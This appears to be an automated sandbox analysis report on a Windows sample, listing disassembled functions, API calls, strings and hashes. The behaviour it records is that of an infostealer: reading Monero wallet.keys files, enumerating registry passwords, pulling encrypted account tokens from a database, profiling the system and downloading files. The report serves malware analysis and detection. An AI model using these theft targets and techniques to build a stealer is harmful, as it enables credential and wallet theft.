Part of subcall function 000699C0: LocalFree.KERNEL32(0006148F), ref: 00069A90
Part of subcall function 000699C0: CloseHandle.KERNEL32(000000FF), ref: 00069A9A

DeleteFileA.KERNEL32(00000000), ref: 000614EF

Strings

\Monero\wallet.keys, xrefs: 0006138D
.keys, xrefs: 0006136B
wallet_path, xrefs: 00061330
SOFTWARE\monero-project\monero-core, xrefs: 00061335

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 40cc1c2023eff29ccfcdff893ba3d9d16b5061448ef77aa9659624fbd310bc57
Instruction ID: 33b1a30ce2a29296b5d30007028154802c42137f41b7b715a1bcc62bc0ac3201
Opcode Fuzzy Hash: 40cc1c2023eff29ccfcdff893ba3d9d16b5061448ef77aa9659624fbd310bc57
Instruction Fuzzy Hash: B95135B1E5011997CB55FB60DC96FEE733CAF55300F408198B60E62082EF345B89CBAA

Function 000675D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000672D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0006733A
Part of subcall function 000672D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000673B1
Part of subcall function 000672D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0006740D
Part of subcall function 000672D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00067452
Part of subcall function 000672D0: HeapFree.KERNEL32(00000000), ref: 00067459

lstrcat.KERNEL32(353CB020,000817FC), ref: 00067606
lstrcat.KERNEL32(353CB020,00000000), ref: 00067648
lstrcat.KERNEL32(353CB020, : ), ref: 0006765A
lstrcat.KERNEL32(353CB020,00000000), ref: 0006768F
lstrcat.KERNEL32(353CB020,00081804), ref: 000676A0
lstrcat.KERNEL32(353CB020,00000000), ref: 000676D3
lstrcat.KERNEL32(353CB020,00081808), ref: 000676ED
task.LIBCPMTD ref: 000676FB

Strings

: , xrefs: 0006764E

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 2e85ca6284503901bddde42d65c5f3fa3929e3db4e0dbe26762815af318eb599
Instruction ID: b1b10a1657930ef01d23deeb8e6593ee9d7faf66187a25f17a06f314d0b20429
Opcode Fuzzy Hash: 2e85ca6284503901bddde42d65c5f3fa3929e3db4e0dbe26762815af318eb599
Instruction Fuzzy Hash: AE310B71900109DFCB48EBA8EC99DFE77BABF55305B148118F106A7292DF38A946CB52

Function 00077500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00077542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0007757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077603
RtlAllocateHeap.NTDLL(00000000), ref: 0007760A
wsprintfA.USER32 ref: 00077640

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Strings

C, xrefs: 0007754C
:, xrefs: 0007755C
\, xrefs: 00077560

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 51a95549b560e5af468e932ab50d07b197c5d5dd159c3c3b9b9cbbf30e8ed178
Instruction ID: 63534e760632ad62017de2fa2b232f27cf891b6d0cce9b6fef96b3f09a16fa80
Opcode Fuzzy Hash: 51a95549b560e5af468e932ab50d07b197c5d5dd159c3c3b9b9cbbf30e8ed178
Instruction Fuzzy Hash: 814183B1D04258ABDF20DF94DC49BEEBBB8AF09704F108199F50D67281DB786A44CBA5

Function 00078100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00D7D9C8,00000000,?,00080E2C,00000000,?,00000000), ref: 00078130
RtlAllocateHeap.NTDLL(00000000), ref: 00078137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00078158
__aulldiv.LIBCMT ref: 00078172
__aulldiv.LIBCMT ref: 00078180
wsprintfA.USER32 ref: 000781AC

Strings

@, xrefs: 0007814D
%d MB, xrefs: 000781A3

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 65c68b5ef84735b1567cf094abfb999389f3e7cf0be6b9a7323e8a352e7874ca
Instruction ID: 2198b998a85ae8f3be5e545b292bbbd5783b86c86ce8a26d21d1c7a63edf9393
Opcode Fuzzy Hash: 65c68b5ef84735b1567cf094abfb999389f3e7cf0be6b9a7323e8a352e7874ca
Instruction Fuzzy Hash: 9E21EFB1E44259ABDB10DFD4DC49FAEB7B8FB44B10F108519F605BB280DB7869018BA9

Function 000660A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00064839
Part of subcall function 000647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00064849

InternetOpenA.WININET(00080DF7,00000001,00000000,00000000,00000000), ref: 0006610F
StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 00066147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0006618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 000661B3
InternetReadFile.WININET(?,?,00000400,?), ref: 000661DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0006620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00066249
InternetCloseHandle.WININET(?), ref: 00066253
InternetCloseHandle.WININET(00000000), ref: 00066260

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: dc5b6b46771c7af51c44d111aa0d1686bc2be5bf486469589029ff27026df216
Instruction ID: aec51a56dbc2301e35e61e6dca6f7eabdf4aba644793ff3ed6a1f54b1e1bb4a4
Opcode Fuzzy Hash: dc5b6b46771c7af51c44d111aa0d1686bc2be5bf486469589029ff27026df216
Instruction Fuzzy Hash: 105192B1A00218ABDB20DF50DC59BEEB7B9FF45301F108098B609A71C1DF756A89CF96

Function 000672D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0006733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000673B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0006740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00067452
HeapFree.KERNEL32(00000000), ref: 00067459
task.LIBCPMTD ref: 00067555

Strings

Password, xrefs: 00067401

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 566e8f9e0edfef55db0d2b84bb58637b51327886586790eaa52d3ea107c48a23
Instruction ID: 2f5beefeb48046ca9f414936daa58523883f1cff37b3e3dd16b96c886f9f6774
Opcode Fuzzy Hash: 566e8f9e0edfef55db0d2b84bb58637b51327886586790eaa52d3ea107c48a23
Instruction Fuzzy Hash: BE614BB19042289BDB24DB50CC55BDAB7B9BF44304F0081E9E68DA6142EFB05BC9CFA1

Function 0006BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

lstrlen.KERNEL32(00000000), ref: 0006BC9F

Part of subcall function 00078E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00078E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0006BCCD
lstrlen.KERNEL32(00000000), ref: 0006BDA5
lstrlen.KERNEL32(00000000), ref: 0006BDB9

Strings

AccountTokens, xrefs: 0006BB49
AccountTokens, xrefs: 0006BABA
AccountId, xrefs: 0006BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0006BBEB

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: cfb054293c60f6b9bea14305ab6884a727029440d0f5dcb775b0e6c37db692ef
Instruction ID: d93450e57384e879e21961f93764f169ceb45be6522700c3dacf912be2cb6edd
Opcode Fuzzy Hash: cfb054293c60f6b9bea14305ab6884a727029440d0f5dcb775b0e6c37db692ef
Instruction Fuzzy Hash: 4FB12371E10104ABDB44FBA0DD56EEE737DBF95300F408169F50AA6092EF386A49CB67

Function 00064FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00064FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00064FD1
InternetOpenA.WININET(00080DDF,00000000,00000000,00000000,00000000), ref: 00064FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00065011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00065041
InternetCloseHandle.WININET(?), ref: 000650B9
InternetCloseHandle.WININET(?), ref: 000650C6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

